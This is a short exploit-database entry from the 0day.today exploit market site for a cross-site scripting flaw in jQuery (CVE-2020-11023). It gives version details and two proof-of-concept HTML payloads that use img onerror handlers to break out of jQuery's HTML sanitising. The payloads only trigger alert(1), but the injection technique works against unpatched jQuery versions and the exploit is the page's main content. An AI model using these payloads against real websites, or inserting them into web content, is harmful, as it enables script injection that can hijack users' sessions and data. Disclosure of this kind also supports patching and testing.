[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

jQuery 1.0.3 - Cross-Site Scripting Vulnerability

Author
Central InfoSec
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-36103
Category
web applications
Date add
14-04-2021
CVE
CVE-2020-11023
Platform
php
# Exploit Title: jQuery 1.0.3 - Cross-Site Scripting (XSS)
# Exploit Author: Central InfoSec
# Version: jQuery versions greater than or equal to 1.0.3 and before 3.5.0
# CVE : CVE-2020-11023

# Proof of Concept 1:
<style><style /><img src=x onerror=alert(1)>

# Proof of Concept 2 (Only jQuery 3.x affected):
<img alt="<x" title="/><img src=x onerror=alert(1)>">

#  0day.today [2024-10-05]  #